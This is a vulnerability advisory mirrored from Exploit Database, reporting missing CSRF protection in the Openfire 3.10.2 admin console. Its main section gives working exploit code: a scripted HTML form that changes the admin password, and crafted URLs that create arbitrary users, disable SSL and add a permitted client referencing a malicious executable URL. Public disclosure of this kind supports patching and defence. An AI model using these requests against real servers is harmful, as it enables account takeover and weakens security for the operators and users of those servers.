Openfire 3.10.2 – Cross-Site Request Forgery

• Exploit Database
• 12 阅读

• 作者： hyp3rlinx
  日期： 2015-09-15
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/38192/

• [+] Credits: hyp3rlinx
  
  [+] Website: hyp3rlinx.altervista.org
  
  [+] Source:http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-CSRF.txt
  
  
  
  Vendor:
  ================================
  www.igniterealtime.org/projects/openfire
  www.igniterealtime.org/downloads/index.jsp
  
  
  
  Product:
  ================================
  Openfire 3.10.2
  
  Openfire is a real time collaboration (RTC) server licensed under the Open
  Source Apache License.
  It uses the only widely adopted open protocol for instant messaging, XMPP
  (also called Jabber).
  
  
  Vulnerability Type:
  =================================
  Cross site request forgery (CSRF)
  
  
  
  CVE Reference:
  ==============
  N/A
  
  
  
  
  
  Vulnerability Details:
  =====================
  No CSRF tokens exists allowing us to take malicious actions against the
  application.
  
  1- change admin password.
  
  2- add aribitrary users to the system
  
  3- edit server settings e.g. turn off SSL.
  
  4- Add rogue malicious clients with permit access (Allow all XMPP clients
  to connect)
  
  and more...
  
  
  
  Exploit code(s):
  ===============
  
  1) change admin password
  
  <script>
  function doit(){
  var e=document.getElementById('HELL')
  e.submit()
  }
  </script>
  
  <form id="HELL" action="http://localhost:9090/user-password.jsp"
  method="post">
  <input type="text" name="username" value="admin" >
  <input type="text" name="password" value="abc123">
  <input type="text" name="passwordConfirm" value="abc123" >
  <input type="password" name="update" value="Update+Password" >
  </form>
  
  
  2) add aribitrary users
  http://localhost:9090/user-create.jsp?username=hyp3rlinx&name=hyp3rlinx&email=blasphemer@abyss.com&password=abc123&passwordConfirm=abc123&create=Create+User
  
  
  3) edit server settings & turn off SSL
  http://localhost:9090/server-props.jsp?serverName=myserver&sslEnabled=false&save=Save+Properties
  
  
  4) add rogue malicious clients
  http://localhost:9090/plugins/clientcontrol/permitted-clients.jsp?all=false&other=http%3A//maliciouso.com/666.exe&addOther=Add
  
  
  
  Disclosure Timeline:
  =========================================================
  Vendor Notification:NA
  Sept 14, 2015: Public Disclosure
  
  
  
  
  Exploitation Technique:
  =======================
  Remote
  
  
  
  Severity Level:
  =========================================================
  High
  
  
  
  Description:
  ==========================================================
  
  
  Request Method(s):[+]POST & GET
  
  
  Vulnerable Product: [+]Openfire 3.10.2
  
  
  Vulnerable Parameter(s):[+]update, create, sslEnabled, other
  
  
  Affected Area(s): [+]Admin
  
  
  ===========================================================
  
  [+] Disclaimer
  Permission is hereby granted for the redistribution of this advisory,
  provided that it is not altered except by reformatting it, and that due
  credit is given. Permission is explicitly given for insertion in
  vulnerability databases and similar, provided that due credit is given to
  the author.
  The author is not responsible for any misuse of the information contained
  herein and prohibits any malicious use of all security related information
  or exploits by the author or elsewhere.
  
  by hyp3rlinx